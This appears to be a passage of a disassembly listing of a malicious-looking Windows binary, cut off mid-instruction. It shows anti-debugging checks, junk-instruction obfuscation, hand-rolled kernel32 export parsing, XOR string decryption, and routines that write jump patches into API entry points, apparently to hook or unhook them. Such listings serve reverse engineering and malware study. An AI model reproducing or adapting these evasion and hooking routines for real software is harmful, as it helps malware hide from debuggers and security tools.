loc_40293F: ; CODE XREF: sub_402651+2DEj ; sub_402651+2E5j call sub_40C938 ; GetCurrentProcessId call sub_40C938 ; GetCurrentProcessId mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] lea edi, [edi+esi+5] add edi, ebx sub edi, 4 mov ds:1[edi], eax call sub_40C9D4 ; GetVersion loc_402964: ; CODE XREF: sub_402651+2B2j ; sub_402651+2BBj ... inc ebx cmp ebx, 400h jb loc_402669 loc_402971: ; CODE XREF: sub_402651+69j pop edi pop esi pop ebx leave retn sub_402651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402976 proc near ; CODE XREF: sub_402B9B+7A9p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = word ptr -24h var_22 = byte ptr -22h var_21 = word ptr -21h var_1F = byte ptr -1Fh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi call sub_40C9C8 ; GetTickCount mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_4029C8 ; --------------------------------------------------------------------------- loc_40298C: ; CODE XREF: sub_402976+5Dj mov [ebp+var_28], 665h add [ebp+var_28], 5DA4h xor ebx, ebx jmp short loc_4029A8 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402976+38j mov eax, [ebp+var_4] cmp byte ptr [eax+ebx], 0 jnz short loc_4029B0 inc ebx loc_4029A8: ; CODE XREF: sub_402976+26j cmp ebx, 3E8h jbe short loc_40299E loc_4029B0: ; CODE XREF: sub_402976+2Fj mov eax, dword_43D13B mov [ebp+var_2C], eax cmp ebx, 3E8h jnb short loc_4029DA call sub_40C938 ; GetCurrentProcessId inc [ebp+var_4] loc_4029C8: ; CODE XREF: sub_402976+14j mov eax, [ebp+arg_4] sub eax, 3E8h cmp [ebp+var_4], eax jbe short loc_40298C jmp loc_402B96 ; --------------------------------------------------------------------------- loc_4029DA: ; CODE XREF: sub_402976+48j add [ebp+var_4], 0Ah movzx edi, [ebp+arg_8] shl edi, 2 mov ebx, ds:dword_40F370[edi] and [ebp+var_8], 0 loc_4029F0: ; CODE XREF: sub_402976+161j mov eax, ebx add eax, [ebp+var_8] push eax call sub_401DB9 pop ecx mov eax, [ebp+var_8] movzx eax, byte ptr [ebx+eax] cmp eax, 0E8h jz short loc_402A48 cmp eax, 0E9h jz short loc_402A48 lea edi, [ebp+var_28+2] lea esi, aJ8 ; " j8 " mov ecx, 5 rep movsb and [ebp+var_C], 0 jmp short loc_402A39 ; --------------------------------------------------------------------------- loc_402A27: ; CODE XREF: sub_402976+CBj mov eax, [ebp+var_8] add eax, [ebp+var_C] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl inc [ebp+var_C] loc_402A39: ; CODE XREF: sub_402976+AFj mov eax, ds:dword_40E064 cmp [ebp+var_C], eax jb short loc_402A27 jmp loc_402ACB ; --------------------------------------------------------------------------- loc_402A48: ; CODE XREF: sub_402976+92j ; sub_402976+99j lea edi, [ebp+var_28+1] lea esi, a2g ; "2G" mov ecx, 3 rep movsb mov eax, [ebp+var_8] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl mov ax, word_43D147 mov word ptr [ebp+var_2C+3], ax mov eax, [ebp+var_8] lea eax, [ebx+eax+1] mov eax, [eax] mov [ebp+var_10], eax mov [ebp+var_24], 0FCCh movzx eax, [ebp+var_24] imul eax, 2308h mov [ebp+var_24], ax mov eax, [ebp+var_8] mov edx, [ebp+var_10] mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx mov [ebp+var_1C], eax call sub_40C938 ; GetCurrentProcessId mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_1C] mov [eax], edx mov [ebp+var_22], 0FAh movzx eax, [ebp+var_22] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_22], al loc_402ACB: ; CODE XREF: sub_402976+CDj mov eax, ds:dword_40E064 add [ebp+var_8], eax cmp [ebp+var_8], 5 jb loc_4029F0 lea edi, [ebp+var_1F] lea esi, byte_43D149 mov ecx, 3 rep movsb mov eax, [ebp+var_8] or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx sub eax, 4 mov [ebp+var_10], eax call sub_40CA58 ; IsDebuggerPresent mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov byte ptr [edx+eax], 0E9h lea eax, [eax+edx+1] mov edx, [ebp+var_10] mov [eax], edx mov ax, word_43D14C mov [ebp+var_21], ax or eax, 0FFFFFFFFh sub eax, ebx mov edx, [ebp+var_4] mov ecx, [ebp+var_8] lea edx, [edx+ecx+5] add eax, edx sub eax, 4 mov [ebp+var_10], eax mov [ebp+var_14], 1C36h add [ebp+var_14], 0B12h mov byte ptr [ebx], 0E9h mov [ebp+var_12], 3735h movzx eax, [ebp+var_12] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_12], ax mov eax, [ebp+var_10] mov ds:1[ebx], eax push ecx push [ebp+var_4] movzx edi, [ebp+arg_8] shl edi, 4 push off_43CEA0[edi] call sub_402651 add esp, 0Ch mov [ebp+var_18], 49Ch add [ebp+var_18], 2296h loc_402B96: ; CODE XREF: sub_402976+5Fj pop edi pop esi pop ebx leave retn sub_402976 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B9B proc near ; CODE XREF: sub_40AB84+53Fp var_257C = dword ptr -257Ch var_2578 = dword ptr -2578h var_21AA = word ptr -21AAh var_21A8 = byte ptr -21A8h var_21A5 = byte ptr -21A5h var_21A4 = dword ptr -21A4h var_21A0 = word ptr -21A0h var_219E = byte ptr -219Eh var_2196 = byte ptr -2196h var_218E = word ptr -218Eh var_218C = byte ptr -218Ch var_218B = byte ptr -218Bh var_2188 = dword ptr -2188h var_2184 = dword ptr -2184h var_2180 = dword ptr -2180h var_217C = dword ptr -217Ch var_2175 = byte ptr -2175h var_2174 = word ptr -2174h var_2172 = word ptr -2172h var_2170 = dword ptr -2170h var_206C = dword ptr -206Ch var_2067 = byte ptr -2067h var_2064 = dword ptr -2064h var_2060 = dword ptr -2060h var_205C = dword ptr -205Ch var_2058 = dword ptr -2058h var_2053 = byte ptr -2053h var_2052 = word ptr -2052h var_2050 = dword ptr -2050h var_204C = dword ptr -204Ch var_2044 = dword ptr -2044h var_2034 = dword ptr -2034h var_2030 = dword ptr -2030h var_202C = dword ptr -202Ch var_2025 = byte ptr -2025h var_2024 = dword ptr -2024h var_2020 = dword ptr -2020h var_101C = dword ptr -101Ch var_1015 = byte ptr -1015h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp mov eax, 257Ch call sub_40C8BC push ebx push esi push edi lea edi, [ebp+var_2067] lea esi, word_43D14E mov ecx, 3 rep movsb call sub_4022C3 call sub_40C9D4 ; GetVersion mov [ebp+var_2025], 0 call sub_40C9D4 ; GetVersion cmp eax, 80000000h jnb short loc_402BE2 mov [ebp+var_2025], 1 loc_402BE2: ; CODE XREF: sub_402B9B+3Ej call sub_40C9D4 ; GetVersion mov [ebp+var_1015], 0 loc_402BEE: ; CODE XREF: sub_402B9B+117j cmp [ebp+var_2025], 0 jnz short loc_402C0B movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43CEA4[edi], 1 jz short loc_402C28 loc_402C0B: ; CODE XREF: sub_402B9B+5Aj cmp [ebp+var_2025], 0 jz short loc_402C2A movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43CEA4[edi], 2 jnz short loc_402C2A loc_402C28: ; CODE XREF: sub_402B9B+6Ej jmp short loc_402C99 ; --------------------------------------------------------------------------- loc_402C2A: ; CODE XREF: sub_402B9B+77j ; sub_402B9B+8Bj call sub_40C998 ; GetProcessHeap movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43CE9C[esi] call sub_40CA64 ; LoadLibraryA mov ds:dword_414EF0[edi*4], eax call sub_40C9D4 ; GetVersion movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43CE98[esi] shl edi, 2 push ds:dword_414EF0[edi] call sub_40C98C ; GetProcAddress mov ds:dword_40F370[edi], eax mov [ebp+var_2052], 3A16h movzx eax, [ebp+var_2052] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2052], ax loc_402C99: ; CODE XREF: sub_402B9B:loc_402C28j add [ebp+var_1015], 1 movzx edi, [ebp+var_1015] shl edi, 4 cmp off_43CE98[edi], 0 jnz loc_402BEE mov [ebp+var_1015], 0 loc_402CBF: ; CODE XREF: sub_402B9B+82Bj movzx edi, [ebp+var_1015] shl edi, 2 cmp ds:dword_40F370[edi], 0 jz loc_4033AD movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_414EF0[edi] mov [ebp+var_2034], edi cmp [ebp+var_2025], 0 jz loc_402F75 mov [ebp+var_218E], 231Eh movzx eax, [ebp+var_218E] imul eax, 12D1h mov [ebp+var_218E], ax call sub_402353 mov [ebp+var_2030], eax call sub_40C9C8 ; GetTickCount shr edi, 16h shl edi, 16h mov [ebp+var_8], edi lea edi, [ebp+var_2196] lea esi, aI4Ti ; "i^4$~TI" movsd movsd mov eax, [ebp+var_8] add eax, 400000h mov [ebp+var_1014], eax xor ebx, ebx jmp short loc_402DA1 ; --------------------------------------------------------------------------- loc_402D51: ; CODE XREF: sub_402B9B+20Fj lea edi, [ebp+var_21A8] lea esi, aVdeND ; "VDe>N;d" movsd movsd mov eax, dword_43D014 add eax, 0FFAh push eax push [ebp+var_8] call sub_40CA40 ; IsBadReadPtr mov [ebp+var_4], eax mov [ebp+var_21A0], 5DBCh sub [ebp+var_21A0], 0A4Ch xor [ebp+var_4], 1 shl [ebp+var_4], 2 mov edi, [ebp+var_4] mov [ebp+ebx*4+var_1010], edi inc ebx add [ebp+var_8], 1000h loc_402DA1: ; CODE XREF: sub_402B9B+1B4j mov eax, [ebp+var_1014] cmp [ebp+var_8], eax jbe short loc_402D51 lea eax, [ebp+var_218C] push eax call sub_40CA28 ; GlobalMemoryStatus call sub_40C968 ; RtlGetLastWin32Error and [ebp+var_101C], 0 jmp loc_402ECD ; --------------------------------------------------------------------------- loc_402DC9: ; CODE XREF: sub_402B9B+343j call sub_40CA58 ; IsDebuggerPresent push 0FFFFh push [ebp+var_101C] push [ebp+var_2030] call sub_402528 add esp, 0Ch mov [ebp+var_C], eax mov [ebp+var_21A5], 0BBh add [ebp+var_21A5], 0Bh test eax, eax jnz short loc_402E1E mov [ebp+var_21AA], 1CC0h movzx eax, [ebp+var_21AA] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_21AA], ax jmp loc_402EC3 ; --------------------------------------------------------------------------- loc_402E1E: ; CODE XREF: sub_402B9B+25Fj and [ebp+var_21A4], 0 loc_402E25: ; CODE XREF: sub_402B9B+80Dj mov eax, [ebp+var_21A4] mov [ebp+var_8], eax jmp short loc_402E9E ; --------------------------------------------------------------------------- loc_402E30: ; CODE XREF: sub_402B9B+30Aj call sub_40CA58 ; IsDebuggerPresent xor ebx, ebx loc_402E37: ; CODE XREF: sub_402B9B+2DDj call sub_40C9C8 ; GetTickCount mov edi, [ebp+var_8] shr edi, 2 shl edi, 2 add edi, [ebp+var_C] mov edi, [edi+ebx*4] mov [ebp+var_4], edi call sub_40C998 ; GetProcessHeap and [ebp+var_4], 4 mov edi, [ebp+ebx*4+var_1010] cmp [ebp+var_4], edi jnz short loc_402E7A mov byte ptr [ebp+var_21AA+1], 0E4h add byte ptr [ebp+var_21AA+1], 1 inc ebx cmp ebx, 400h jb short loc_402E37 loc_402E7A: ; CODE XREF: sub_402B9B+2C6j cmp ebx, 3FFh jb short loc_402E97 call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_21A4], eax jmp short loc_402F02 ; --------------------------------------------------------------------------- loc_402E97: ; CODE XREF: sub_402B9B+2E5j add [ebp+var_8], 1000h loc_402E9E: ; CODE XREF: sub_402B9B+293j cmp [ebp+var_8], 0F000h jbe short loc_402E30 push [ebp+var_C] call sub_4025A2 pop ecx lea edi, [ebp+var_21A8] lea esi, aLd ; "lD" mov ecx, 3 rep movsb loc_402EC3: ; CODE XREF: sub_402B9B+27Ej add [ebp+var_101C], 10000h loc_402ECD: ; CODE XREF: sub_402B9B+229j mov eax, [ebp+var_2184] sub eax, 0FFFFh cmp [ebp+var_101C], eax jbe loc_402DC9 push [ebp+var_2030] call sub_40C9B0 ; CloseHandle lea edi, [ebp+var_219E] lea esi, a0htgzcn ; "0htGZCn" movsd movsd jmp loc_4033AD ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402B9B+2FAj movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F370[edi] mov [ebp+var_1014], edi and [ebp+var_1014], 0 loc_402F20: ; CODE XREF: sub_402B9B+3D8j call sub_40CA58 ; IsDebuggerPresent mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] mov esi, [esi+edi] mov [ebp+edi+var_2020], esi mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] add edi, esi or byte ptr [edi], 2 call sub_40C938 ; GetCurrentProcessId inc [ebp+var_1014] cmp [ebp+var_1014], 400h jb short loc_402F20 loc_402F75: ; CODE XREF: sub_402B9B+15Aj call sub_40C968 ; RtlGetLastWin32Error cmp [ebp+var_2025], 0 jnz loc_403048 mov [ebp+var_2174], 2A85h add [ebp+var_2174], 6FADh push offset aKernel32_dll ; "kernel32.dll" call sub_40C980 ; GetModuleHandleA mov [ebp+var_2170], eax call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+var_2170] mov edx, eax add edx, ds:3Ch[eax] mov [ebp+var_217C], edx add edx, 78h add eax, [edx] mov [ebp+var_2180], eax mov [ebp+var_2175], 0D8h add [ebp+var_2175], 45h mov eax, [ebp+var_2170] mov edx, [ebp+var_2180] add edx, 1Ch add eax, [edx] mov [ebp+var_2184], eax call sub_40CA58 ; IsDebuggerPresent mov eax, [ebp+var_2170] mov edx, [ebp+var_2184] ; DATA XREF: .data:loc_44041Er ; sub_440441+8Cw ... loc_403004: ; DATA XREF: .data:0043F479r ; .data:loc_43F4B5r ... add eax, [edx] mov [ebp+var_2188], eax ; DATA XREF: .data:0043F4D4r ; .data:0043F5A2w ... lea edi, [ebp+var_218B] lea esi, aT_0 ; "^t" mov ecx, 3 rep movsb mov eax, [ebp+var_2188] mov [ebp+var_206C], eax mov [ebp+var_2172], 4847h movzx eax, [ebp+var_2172] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2172], ax loc_403048: ; CODE XREF: sub_402B9B+3E6j push 1Ch lea eax, [ebp+var_2050] push eax call sub_40CAC4 ; RtlZeroMemory mov eax, [ebp+var_2034] mov [ebp+var_202C], eax mov [ebp+var_2058], 4084h mov eax, 41E1h mul [ebp+var_2058] mov [ebp+var_2170], eax mov [ebp+var_2058], eax loc_403083: ; CODE XREF: sub_402B9B+528j ; sub_402B9B+560j push 1Ch lea eax, [ebp+var_2050] push eax push [ebp+var_202C] call sub_40CB24 ; VirtualQuery call sub_40CA58 ; IsDebuggerPresent mov eax, [ebp+var_2034] cmp [ebp+var_204C], eax jnz short loc_4030FD mov eax, [ebp+var_2044] mov [ebp+var_2060], eax add [ebp+var_202C], eax cmp [ebp+var_2025], 0 jnz short loc_403083 mov [ebp+var_2172], 18F5h inc [ebp+var_2172] push 20060000h push 0 mov edi, [ebp+var_2060] shr edi, 0Ch push edi mov edi, [ebp+var_2050] shr edi, 0Ch push edi push 1000Dh call [ebp+var_206C] jmp short loc_403083 ; --------------------------------------------------------------------------- loc_4030FD: ; CODE XREF: sub_402B9B+50Dj movzx edi, [ebp+var_1015] shl edi, 2 mov esi, [ebp+var_202C] sub esi, [ebp+var_2034] mov ds:dword_411910[edi], esi mov [ebp+var_2053], 0B3h movzx eax, [ebp+var_2053] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2053], al movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F370[edi] mov [ebp+var_1014], edi mov eax, dword_43D014 add eax, 0FFAh push eax push edi call sub_40CA4C ; IsBadWritePtr mov [ebp+var_2064], eax test eax, eax jnz loc_403351 call sub_40C9D4 ; GetVersion cmp [ebp+arg_0], 0 jz loc_403330 lea edi, [ebp+var_217C+1] lea esi, aB7_evf ; "7.Ef" mov ecx, 7 rep movsb mov eax, [ebp+var_1014] movzx eax, byte ptr [eax] cmp eax, 0E9h jz short loc_4031C0 mov [ebp+var_257C], 2E94h inc [ebp+var_257C] cmp [ebp+arg_0], 1 jnz loc_403330 call sub_40C9D4 ; GetVersion jmp loc_403351 ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_402B9B+5FFj mov eax, [ebp+var_1014] mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp+var_2024], eax call sub_40C944 ; GetCurrentThreadId mov byte ptr [ebp+var_2172+1], 0 loc_4031E6: ; CODE XREF: sub_402B9B+6FEj sub [ebp+var_2024], 5 mov eax, [ebp+var_2024] mov [ebp+var_4], eax loc_4031F6: ; CODE XREF: sub_402B9B+69Fj mov eax, [ebp+var_4] mov edx, eax dec edx cmp byte ptr [edx], 0 jnz short loc_403227 mov edx, eax sub edx, 2 cmp byte ptr [edx], 0 jnz short loc_403227 mov edx, eax sub edx, 3 cmp byte ptr [edx], 0 jnz short loc_403227 mov edx, eax sub edx, 4 cmp byte ptr [edx], 0 jnz short loc_403227 sub eax, 5 cmp byte ptr [eax], 0 jz short loc_40323C loc_403227: ; CODE XREF: sub_402B9B+664j ; sub_402B9B+66Ej ... mov [ebp+var_2174], 0E27h inc [ebp+var_2174] dec [ebp+var_4] jmp short loc_4031F6 ; --------------------------------------------------------------------------- loc_40323C: ; CODE XREF: sub_402B9B+68Aj movzx edi, byte ptr [ebp+var_2172+1] shl edi, 2 mov esi, [ebp+var_4] mov [ebp+edi+var_2578], esi add byte ptr [ebp+var_2172+1], 1 movzx eax, byte ptr [esi] cmp eax, 0E9h jnz short loc_40329E call sub_40C9C8 ; GetTickCount mov eax, esi mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp+var_2024], eax mov word ptr [ebp+var_257C+2], 6789h movzx eax, word ptr [ebp+var_257C+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_257C+2], ax jmp loc_4031E6 ; --------------------------------------------------------------------------- loc_40329E: ; CODE XREF: sub_402B9B+6C4j mov ebx, [ebp+var_4] jmp short loc_4032B8 ; --------------------------------------------------------------------------- loc_4032A3: ; CODE XREF: sub_402B9B+723j call sub_40C998 ; GetProcessHeap mov eax, [ebp+var_1014] add eax, ebx sub eax, [ebp+var_4] mov dl, [ebx] mov [eax], dl inc ebx loc_4032B8: ; CODE XREF: sub_402B9B+706j cmp ebx, [ebp+var_2024] jb short loc_4032A3 loc_4032C0: ; CODE XREF: sub_402B9B+788j sub byte ptr [ebp+var_2172+1], 1 movzx edi, byte ptr [ebp+var_2172+1] shl edi, 2 mov ebx, [ebp+edi+var_2578] loc_4032D8: ; CODE XREF: sub_402B9B+77Dj mov byte ptr [ebx], 0 call sub_40C9C8 ; GetTickCount cmp byte ptr ds:1[ebx], 0 jnz short loc_403312 cmp byte ptr ds:2[ebx], 0 jnz short loc_403312 cmp byte ptr ds:3[ebx], 0 jnz short loc_403312 cmp byte ptr ds:4[ebx], 0 jnz short loc_403312 cmp byte ptr ds:5[ebx], 0 jz short loc_40331A loc_403312: ; CODE XREF: sub_402B9B+74Dj ; sub_402B9B+757j ... call sub_40C9D4 ; GetVersion inc ebx jmp short loc_4032D8 ; --------------------------------------------------------------------------- loc_40331A: ; CODE XREF: sub_402B9B+775j movzx eax, byte ptr [ebp+var_2172+1] or eax, eax jg short loc_4032C0 cmp [ebp+arg_0], 1 jz short loc_403351 call sub_40C9D4 ; GetVersion loc_403330: ; CODE XREF: sub_402B9B+5D8j ; sub_402B9B+615j movzx eax, [ebp+var_1015] push eax push [ebp+var_202C] push [ebp+var_2034] call sub_402976 add esp, 0Ch call sub_40C9C8 ; GetTickCount loc_403351: ; CODE XREF: sub_402B9B+5C9j ; sub_402B9B+620j ... cmp [ebp+var_2025], 0 jz short loc_4033AD lea edi, [ebp+var_2172+1] lea esi, word_43D176 xor ecx, ecx inc ecx rep movsb and [ebp+var_1014], 0 loc_403372: ; CODE XREF: sub_402B9B+806j mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] mov edx, [ebp+edi+var_2020] mov [esi+edi], edx inc [ebp+var_1014] cmp [ebp+var_1014], 400h jb short loc_403372 call sub_40C968 ; RtlGetLastWin32Error jmp loc_402E25 ; --------------------------------------------------------------------------- loc_4033AD: ; CODE XREF: sub_402B9B+136j ; sub_402B9B+362j ... add [ebp+var_1015], 1 movzx edi, [ebp+var_1015] shl edi, 4 cmp off_43CE98[edi], 0 jnz loc_402CBF mov [ebp+var_205C], 60F7h inc [ebp+var_205C] pop edi pop esi pop ebx leave retn sub_402B9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033E1 proc near ; CODE XREF: sub_403530+38p ; sub_4035A5+4Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 2C8h push esi push [ebp+arg_0] mov eax, dword_43D180 lea eax, ds:41D830h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_403427 ; --------------------------------------------------------------------------- loc_403410: ; CODE XREF: sub_4033E1+48j mov eax, dword_43D180 add eax, edi lea eax, ds:41D830h[eax] movsx edx, byte ptr [eax] xor edx, 4Ah mov [eax], dl inc edi loc_403427: ; CODE XREF: sub_4033E1+2Dj cmp edi, esi jl short loc_403410 mov [ebp+var_8], 0DDh mov eax, dword_43D180 add eax, esi mov byte ptr ds:dword_41D830[eax], 0 xor edi, edi mov edi, dword_43D180 inc dword_43D180 mov eax, dword_43D180 add eax, 5 add eax, esi mov dword_43D180, eax add dword_43D180, 2 cmp dword_43D180, 0E0Bh jle short loc_403478 and dword_43D180, 0 loc_403478: ; CODE XREF: sub_4033E1+8Ej mov [ebp+var_C], 2Eh lea eax, dword_41D830[edi] pop edi pop esi leave retn sub_4033E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403489 proc near ; CODE XREF: sub_403530+27p ; sub_4035A5+3Ap var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C9C8 ; GetTickCount call sub_40C998 ; GetProcessHeap mov ecx, ebx or eax, 0FFFFFFFFh loc_4034A3: ; CODE XREF: sub_403489+1Fj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4034A3 mov edi, eax mov [ebp+var_6], di call sub_40C998 ; GetProcessHeap mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_4034E6 ; --------------------------------------------------------------------------- loc_4034BF: ; CODE XREF: sub_403489+63j movzx eax, [ebp+var_2] cmp byte ptr [ebx+eax], 5Ch jnz short loc_4034E2 lea edi, [ebp+var_7] lea esi, byte_43D184 xor ecx, ecx inc ecx rep movsb inc [ebp+var_2] call sub_40C938 ; GetCurrentProcessId jmp short loc_4034EE ; --------------------------------------------------------------------------- loc_4034E2: ; CODE XREF: sub_403489+3Ej dec [ebp+var_2] loc_4034E6: ; CODE XREF: sub_403489+34j movzx eax, [ebp+var_2] or eax, eax jg short loc_4034BF loc_4034EE: ; CODE XREF: sub_403489+57j mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_40352B mov [ebp+var_4], 0 jmp short loc_403519 ; --------------------------------------------------------------------------- loc_403500: ; CODE XREF: sub_403489+A0j movzx eax, [ebp+var_4] mov edx, [ebp+arg_4] movzx ecx, [ebp+var_2] mov esi, eax add esi, ecx mov cl, [ebx+esi] mov [edx+eax], cl inc [ebp+var_4] loc_403519: ; CODE XREF: sub_403489+75j movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_403500 loc_40352B: ; CODE XREF: sub_403489+6Dj pop edi pop esi pop ebx leave retn sub_403489 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403530 proc near ; CODE XREF: sub_403BBF+6Dp ; sub_403D2D+258p ... var_10D = byte ptr -10Dh var_106 = word ptr -106h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push esi push edi call sub_40CA58 ; IsDebuggerPresent mov ax, word_43D185 mov [ebp+var_106], ax lea eax, [ebp+var_104] push eax push [ebp+arg_0] call sub_403489 call sub_40CA58 ; IsDebuggerPresent push 2 push offset word_4475CA call sub_4033E1 push eax lea edi, [ebp+var_104] push edi call sub_40CE78 add esp, 18h lea edi, [ebp+var_10D] lea esi, aGbT ; "gb;|t^" mov ecx, 7 rep movsb lea eax, [ebp+var_104] push eax call sub_40CA04 ; GlobalAddAtomA call sub_40C9D4 ; GetVersion pop edi pop esi leave retn sub_403530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A5 proc near ; CODE XREF: sub_409A96+2BAp ; sub_409A96+358p ... var_10F = word ptr -10Fh var_10D = byte ptr -10Dh var_10A = word ptr -10Ah var_108 = word ptr -108h var_105 = byte ptr -105h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push esi push edi call sub_40C9C8 ; GetTickCount lea edi, [ebp+var_10D] lea esi, aF ; "f'" mov ecx, 3 rep movsb mov ax, word_43D191 mov [ebp+var_10F], ax lea eax, [ebp+var_105] push eax push [ebp+arg_0] call sub_403489 call sub_40C944 ; GetCurrentThreadId push 2 push offset word_4475CA call sub_4033E1 push eax lea edi, [ebp+var_105] push edi call sub_40CE78 add esp, 18h mov [ebp+var_1], 75h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al loc_403616: ; CODE XREF: sub_4035A5+C4j lea eax, [ebp+var_105] push eax call sub_40CA1C ; GlobalFindAtomA mov edi, eax mov [ebp+var_108], di call sub_40C9C8 ; GetTickCount cmp [ebp+var_108], 0 jz short loc_40366B call sub_40C968 ; RtlGetLastWin32Error movzx eax, [ebp+var_108] push eax call sub_40CA10 ; GlobalDeleteAtom mov [ebp+var_10A], 7F4Eh movzx eax, [ebp+var_10A] imul eax, 62EDh mov [ebp+var_10A], ax jmp short loc_403616 ; --------------------------------------------------------------------------- loc_40366B: ; CODE XREF: sub_4035A5+93j pop edi pop esi leave retn sub_4035A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40366F proc near ; CODE XREF: sub_4036F8+ACp ; sub_4037FA+24p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D19C lea eax, ds:40E170h[eax] push eax call sub_40CE18 add esp, 0Ch mov [ebp+var_4], 4Ch xor edi, edi jmp short loc_4036B4 ; --------------------------------------------------------------------------- loc_40369D: ; CODE XREF: sub_40366F+47j mov eax, dword_43D19C add eax, edi lea eax, ds:40E170h[eax] movsx edx, byte ptr [eax] xor edx, 32h mov [eax], dl inc edi loc_4036B4: ; CODE XREF: sub_40366F+2Cj cmp edi, esi jl short loc_40369D mov [ebp+var_8], 130h mov eax, dword_43D19C add eax, esi mov byte ptr ds:dword_40E170[eax], 0 mov edi, dword_43D19C mov eax, edi add eax, 3 add eax, esi mov dword_43D19C, eax cmp eax, 0DE7h jle short loc_4036EE and dword_43D19C, 0 loc_4036EE: ; CODE XREF: sub_40366F+76j lea eax, dword_40E170[edi] pop edi pop esi leave retn sub_40366F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036F8 proc near ; CODE XREF: sub_4037FA+31p var_49 = byte ptr -49h var_44 = byte ptr -44h var_3C = dword ptr -3Ch var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi mov ebx, [ebp+arg_4] call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_44] lea esi, aAcz?lh ; "ACZ?lH$" movsd movsd mov [ebp+var_37], 0E4h movzx eax, [ebp+var_37] imul eax, 61BBh mov [ebp+var_37], al mov eax, 11h sub eax, dword_43D198 push eax lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_40CDC4 add esp, 0Ch call 